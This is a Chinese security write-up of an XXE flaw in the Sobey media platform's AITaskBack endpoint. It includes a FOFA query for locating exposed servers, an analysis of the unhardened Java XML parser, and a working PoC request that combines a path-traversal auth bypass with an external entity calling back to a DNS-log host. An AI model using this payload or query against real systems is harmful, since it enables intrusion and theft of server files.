漏洞简介
索贝 /sobey-mchEditor/mch/AIInt/AITaskBack 接口存在XML外部实体注入(XXE)漏洞。攻击者可以通过构造恶意的XML数据包,利用该漏洞读取服务器上的敏感文件或发起其他恶意操作,可能导致敏感信息泄露。
影响版本
fofa语法
icon_hash="689611853"||app="SOBEY-融媒体" || body="You need to enable JavaScript to run this app" && header="Sobey"
漏洞分析
根据漏洞通告,搜索漏洞路由 mch/AIInt/AITaskBack

直接进入看它的实现逻辑如下
@RequestMapping(
value = {"/AITaskBack"},
method = {RequestMethod.POST}
)
public Response AITaskBack(HttpServletRequest req, @RequestParam("contentid") String contentid, @RequestParam(value = "token",required = false) String token, @RequestParam(value = "siteCode",required = false) String siteCode) throws HttpException, IOException {
Response response = new Response();
response.setStatus(200);
HiveService hive = new HiveServiceImpl();
String param = IOUtils.toString(req.getInputStream(), "UTF-8");
logger.info("AI智能写稿回调参数为:" + param);
int aiFlg = 2;
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
StringReader sr = new StringReader(param);
InputSource iss = new InputSource(sr);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(iss);
NodeList dogList = doc.getElementsByTagName("TextResult");
Node dog = dogList.item(0);
String result = dog.getFirstChild().getNodeValue();
JSONObject ret = JSONObject.fromObject(result);
if (!ret.containsKey("code") || ret.getInt("code") != 200) {
logger.error("智能服务回调返回失败:" + result);
aiFlg = 0;
}
JSONArray results = ret.getJSONArray("results");
漏洞的根源在于变量 param,其值直接来自 req.getInputStream(),是攻击者可以完全控制的 HTTP 请求体。然后通过 DocumentBuilderFactory.newInstance() 获取一个工厂实例。这个方法返回的是 JAXP(Java API for XML Processing)规范的一个具体实现,通常是 JRE 中内置的 Xerces 解析器。在未进行安全配置的情况下,其行为取决于 JRE 的版本和系统环境的默认设置。在许多 Java 环境中(尤其是 Java 8 早期版本及更早版本),默认是允许解析外部实体的,这是一种不安全的设计。代码将安全性寄希望于运行环境的默认配置,而不是在代码层面强制实施安全策略,这是本次XXE漏洞产生的根本原因。
漏洞复现
权限绕过相关分析可以参考之前的 索贝融媒体 getList SQL注入漏洞 的权限校验部分
POST /sobey-mchEditor/js/%2e%2e/mch/AIInt/AITaskBack?contentid=1&token=&siteCode= HTTP/1.1
Host: sobey.mrxn.net
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://xxe.dnslog.pt/xxe_test">
]>
<root>
<TextResult>&xxe;</TextResult>
</root>

成功在DNSLOG平台收到DNS和HTTP请求


